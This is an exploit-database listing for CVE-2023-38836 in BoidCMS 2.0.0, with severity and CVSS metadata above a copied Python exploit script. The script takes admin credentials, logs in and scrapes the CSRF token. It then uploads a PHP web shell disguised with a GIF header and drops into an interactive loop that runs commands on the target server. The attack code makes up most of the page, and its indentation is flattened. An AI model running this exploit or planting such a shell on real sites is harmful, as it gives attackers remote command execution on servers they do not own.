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BoidCMS 2.0.0 Shell Upload

CVE Category Price Severity
CVE-2023-38836 CWE-264 $500 High
Author Risk Exploitation Type Date
Unknown Critical Remote 2023-10-10
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.08291 0.55447

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023100024

Below is a copy:

BoidCMS 2.0.0 Shell Upload
#!/usr/bin/python3
# Exploit Title: BoidCMS v2.0.0 - authenticated file upload vulnerability
# Date: 08/21/2023
# Exploit Author: 1337kid
# Vendor Homepage: https://boidcms.github.io/#/
# Software Link: https://boidcms.github.io/BoidCMS.zip
# Version: <= 2.0.0
# Tested on: Ubuntu
# CVE : CVE-2023-38836

import requests
import re
import argparse

parser = argparse.ArgumentParser(description='Exploit for CVE-2023-38836')
parser.add_argument("-u", "--url", help="website url")
parser.add_argument("-l", "--user", help="admin username")
parser.add_argument("-p", "--passwd", help="admin password")
args = parser.parse_args()
base_url=args.url
user=args.user
passwd=args.passwd

def showhelp():
print(parser.print_help())
exit()
if base_url == None: showhelp()
elif user == None: showhelp()
elif passwd == None: showhelp()

with requests.Session() as s:
req=s.get(f'{base_url}/admin')
token=re.findall('[a-z0-9]{64}',req.text)
form_login_data={
"username":user,
"password":passwd,
"login":"Login",
}
form_login_data['token']=token
s.post(f'{base_url}/admin',data=form_login_data)
#=========== File upload to RCE
req=s.get(f'{base_url}/admin?page=media')
token=re.findall('[a-z0-9]{64}',req.text)
form_upld_data={
"token":token,
"upload":"Upload"
}
#==== php shell
php_code=['GIF89a;\n','<?php system($_GET["cmd"]) ?>']
with open('shell.php','w') as f:
f.writelines(php_code)
#====
file = {'file' : open('shell.php','rb')}
s.post(f'{base_url}/admin?page=media',files=file,data=form_upld_data)
req=s.get(f'{base_url}/media/shell.php')
if req.status_code == '404':
print("Upload failed")
exit()
print(f'Shell uploaded to "{base_url}/media/shell.php"')
while 1:
cmd=input("cmd >> ")
if cmd=='exit': exit()
req=s.get(f'{base_url}/media/shell.php',params = {"cmd": cmd})
print(req.text)
            

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